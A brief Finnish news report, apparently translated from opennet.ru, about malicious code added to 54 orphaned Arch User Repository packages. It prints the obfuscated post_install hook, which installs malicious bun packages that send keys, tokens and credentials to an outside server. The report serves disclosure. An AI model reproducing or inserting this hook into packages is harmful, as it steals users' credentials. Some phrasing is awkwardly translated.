Arch-kehittäjien tekemistä toimenpiteistä huolimatta LinuxHaitallisen koodin lisäämistä AUR (Arch User Repository) -arkistoon ei ole pysäytetty. Muutama tunti sitten haitallista koodia lisättiin 54 muuhun pakettiin, jotka jäivät ilman ylläpitäjiä (haitallisten muokkausten historia on peruttu). Toissapäivän hyökkäyksistä poiketen, tällä kertaa npm-paketinhallinnan sijaan käytetään bun-alustaa haitallisten riippuvuuksien asentamiseen. Toteutettujen suodattimien ohittamiseksi post_install-funktioon lisätään hämärretty merkkijono, joka kutsuu "bun add" -komentoa asentaakseen haitallista koodia sisältävät paketit, jotka skannaavat ja lähettävät ne ulkoiselle palvelimelle. palvelin avaimet, tunnukset ja tunnistetiedot.
asennuksen_jälkeinen() {
$'\x63′"d" "/"'t''m"'p' && "b"u"n' 'a'"d"'d' $'\141\x6e"s'"-"$'\143"o"l"o"r'$'\x73′ 'n'"e"'x'"t"f"'i"l"e"-"j"s'
}
Lähde: opennet.ru
